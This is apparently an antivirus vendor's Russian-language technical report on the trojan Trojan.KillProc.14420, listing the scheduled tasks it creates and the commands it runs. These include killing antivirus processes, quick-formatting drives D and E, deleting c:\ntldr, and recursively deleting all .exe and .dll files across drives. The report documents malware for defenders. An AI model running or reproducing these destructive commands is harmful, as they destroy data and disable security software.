Trojan.KillProc.14420

Техническая информация

Для обеспечения автозапуска и распространения:

Создает или изменяет следующие файлы:

%WINDIR%\Tasks\At16.job
%WINDIR%\Tasks\At17.job
%WINDIR%\Tasks\At18.job
%WINDIR%\Tasks\At13.job
%WINDIR%\Tasks\At14.job
%WINDIR%\Tasks\At15.job
%WINDIR%\Tasks\At22.job
%WINDIR%\Tasks\At23.job
%WINDIR%\Tasks\At24.job
%WINDIR%\Tasks\At19.job
%WINDIR%\Tasks\At20.job
%WINDIR%\Tasks\At21.job
%WINDIR%\Tasks\At4.job
%WINDIR%\Tasks\At5.job
%WINDIR%\Tasks\At6.job
%WINDIR%\Tasks\At1.job
%WINDIR%\Tasks\At2.job
%WINDIR%\Tasks\At3.job
%WINDIR%\Tasks\At10.job
%WINDIR%\Tasks\At11.job
%WINDIR%\Tasks\At12.job
%WINDIR%\Tasks\At7.job
%WINDIR%\Tasks\At8.job
%WINDIR%\Tasks\At9.job

Создает следующие сервисы:

[<HKLM>\SYSTEM\ControlSet001\Services\Schedule] 'Start' = '00000002'

Вредоносные функции:

Запускает на исполнение:

<SYSTEM32>\attrib.exe -s -h -r l:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r k:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r j:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r m:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r p:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r o:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r n:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r e:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r <Имя диска съемного носителя>:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r c:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r f:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r i:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r h:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r g:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r z:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r y:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r x:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r c:\ntldr
<SYSTEM32>\taskkill.exe /im RavMon.exe /f
<SYSTEM32>\taskkill.exe /im Rav.exe /f
<SYSTEM32>\taskkill.exe /im 360safe.exe /f
<SYSTEM32>\attrib.exe -s -h -r s:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r r:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r q:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r t:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r w:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r v:\AutoRun.inf
<SYSTEM32>\attrib.exe -s -h -r u:\AutoRun.inf
<SYSTEM32>\at.exe 09:15pM /Every:4,14,25 for %i in (d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (del /f /s /q %i:\*.dll)
<SYSTEM32>\at.exe 10:00am shutdown -r -t 3
<SYSTEM32>\at.exe 9:00pm shutdown -r -t 3
<SYSTEM32>\at.exe 9:00am shutdown -r -t 3
<SYSTEM32>\at.exe 10:00pm shutdown -r -t 3
<SYSTEM32>\at.exe 12:00am shutdown -r -t 3
<SYSTEM32>\at.exe 11:00pm shutdown -r -t 3
<SYSTEM32>\at.exe 11:00am shutdown -r -t 3
<SYSTEM32>\at.exe /delete
<SYSTEM32>\net1.exe start schedule
<SYSTEM32>\sc.exe config Schedule start= AUTO
<SYSTEM32>\at.exe 7:00am shutdown -r -t 3
<SYSTEM32>\at.exe 8:00pm shutdown -r -t 3
<SYSTEM32>\at.exe 8:00am shutdown -r -t 3
<SYSTEM32>\at.exe 7:00pm shutdown -r -t 3
<SYSTEM32>\at.exe 9:30pm start c:\xunhuan.bat
<SYSTEM32>\at.exe 9:30am start c:\xunhuan.bat
<SYSTEM32>\at.exe 8:30pm start c:\xunhuan.bat
<SYSTEM32>\at.exe 10:30am start c:\xunhuan.bat
<SYSTEM32>\at.exe 09:15AM /Every:3,13,23 for %i in (d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (del /f /s /q %i:\*.exe)
<SYSTEM32>\at.exe 11:30am start c:\xunhuan.bat
<SYSTEM32>\at.exe 10:30pm start c:\xunhuan.bat
<SYSTEM32>\format.com d: /q
<SYSTEM32>\at.exe 09:30AM /Every:2,14,17 echo y
<SYSTEM32>\at.exe 12:00pm shutdown -r -t 3
<SYSTEM32>\at.exe 09:30pM /Every:6,16,26 echo y
<SYSTEM32>\at.exe 09:30pM /Every:1,15,28 del /f /q c:\ntldr
<SYSTEM32>\at.exe 09:30AM /Every:1,15,28 del /f /q c:\ntldr
<SYSTEM32>\format.com e: /q